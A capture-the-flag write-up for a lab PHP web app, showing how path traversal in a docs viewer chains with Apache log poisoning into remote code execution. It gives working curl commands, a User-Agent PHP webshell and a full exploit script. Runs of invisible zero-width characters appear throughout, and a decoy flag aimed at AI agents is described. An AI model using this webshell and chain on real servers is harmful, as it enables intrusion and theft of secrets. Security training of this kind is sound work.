← Back to Writeups
CUSTOMMediumWeb

DocuNest

XESXOR9/10/20265 min read
#web#custom#medium#apache_access_log_inclusion#environment_variable_exfiltrat#lfi_to_rce_via_log_poisoning#path_traversal_lfi#user_agent_php_injection#linux

DocuNest

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection

Summary

Task: Collaborative documentation platform with a docs viewer that uses PHP include() with unsanitized file parameter, enabling LFI. Flag is stored as an environment variable and in /root/flag.txt (chmod 600). Solution: Chain LFI with Apache access log poisoning — inject PHP webshell via User-Agent header, then include the poisoned log to achieve RCE and read the FLAG environment variable.

DocuNest — HackAdvisor

Description

DocuNest is a collaborative knowledge base platform built by NestWare Solutions. Teams use it to create, organize, and share technical documentation with features including a rich article editor, categories, tags, comments, search, and a built-in documentation viewer for browsing published guides. Your goal is to find and exploit vulnerabilities in the platform to retrieve the flag stored on the server.

DocuNest is a PHP 8.1 application running on Alpine Linux with Apache/2.4.65 behind an nginx/1.25.5 reverse proxy, using SQLite for data storage. The application provides a Dashboard, Articles, Docs, and Search pages. The Docs page is the primary attack surface — it loads documentation files via a server-side API endpoint that uses PHP's include() function with an unsanitized file parameter. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials: user@test.com / password123

Analysis

Application Features

FeatureEndpointPurpose
Dashboard/Overview with articles, categories, recent activity
Articles/articlesCreate, edit, organize technical documentation
Docs/docsLFI vector — documentation viewer with sidebar listing .md files
Search/searchFull-text search across articles
Docs APIGET /api/docs/view?file=Vulnerable endpoint — loads files via PHP include()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Tech Stack

  • PHP 8.1, Apache/2.4.65 with mod_php81, nginx/1.25.5 reverse proxy, Alpine Linux, SQLite
  • DocumentRoot: /app/public
  • .htaccess with AllowOverride All — standard rewrite rules routing through index.php

Reconnaissance Findings

Documentation viewer behavior:

  • The Docs page sidebar lists files: api-reference.md, deployment.md, faq.md, getting-started.md
  • Clicking a doc triggers: fetch('/api/docs/view?file=' + encodeURIComponent(file))
  • The file parameter is passed directly to PHP's include() without sanitization ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key evidence that include() is used (not file_get_contents()):

  • Including PHP files (e.g., index.php, seed.php) via LFI returns empty content — the PHP code executes server-side and produces no output, rather than being returned as raw source code
  • This is the critical prerequisite for log poisoning: any PHP code in included files will be executed

Flag storage (from /app/start.sh):

bash
echo "$FLAG" > /root/flag.txt
chmod 600 /root/flag.txt
  • Flag exists as environment variable FLAG and in /root/flag.txt (root-only, chmod 600)
  • Simple file read won't work — the web server process can't read /root/flag.txt
  • RCE is required to either read the env var or escalate privileges ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoy flag trap:

  • Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs
  • Designed to trick automated tools and AI agents into reporting a fake flag

Apache Configuration (from /etc/apache2/httpd.conf)

Key details relevant to the exploit:

  • LogFormat "%h %l %u %t \"%r\" %>s %b %{Referer}i %{User-Agent}i" combined — User-Agent is logged
  • CustomLog /var/log/apache2/access.log combined — log path confirmed
  • ErrorLog /var/log/apache2/error.log
  • mod_php81 loaded — PHP execution within included files ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and Confirm LFI

bash
# Login and get session cookie
TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io"
curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" -L

# Confirm path traversal / LFI
curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../etc/passwd"

Response confirms Alpine Linux:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Simple ../ traversal works. No filter bypass needed (double-dot ....// is not required).

Step 2: Verify Apache Log Accessibility

bash
curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log"

The access log is readable and contains User-Agent strings from all requests. This confirms both prerequisites for log poisoning:

  1. Log file is readable via LFI
  2. User-controlled data (User-Agent) is written to the log

Step 3: Poison the Apache Access Log

Inject a PHP webshell into the User-Agent header: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"

Critical detail about quoting: Apache's mod_log_config escapes double quotes in logged header values (" → \"), which would break PHP syntax like $_GET["cmd"]. Using single quotes ($_GET['cmd']) avoids this because Apache does NOT escape single quotes in log entries.

After this request, the access log contains a line like:

172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - <?php system($_GET['cmd']); ?>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Trigger RCE via Log Inclusion

Include the poisoned log file while passing a command via the cmd parameter:

bash
curl -sk -b cookies.txt \
  "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"

When PHP's include() processes the access log:

  1. It reads the log file as PHP source
  2. Everything outside <?php ... ?> tags is output as plain text (the normal log lines)
  3. When it hits the <?php system($_GET['cmd']); ?> in the User-Agent field, it enters PHP mode
  4. system('printenv FLAG') executes, printing the environment variable value ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response contains the flag embedded in the log output:

172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - FLAG{REDACTED}

Complete Exploit (3 commands)

bash
#!/bin/bash
TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io"

# 1. Login
curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" -L

# 2. Poison Apache access log with PHP webshell in User-Agent
curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 3. Include poisoned log → RCE → read FLAG env var
curl -sk -b cookies.txt \
  "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍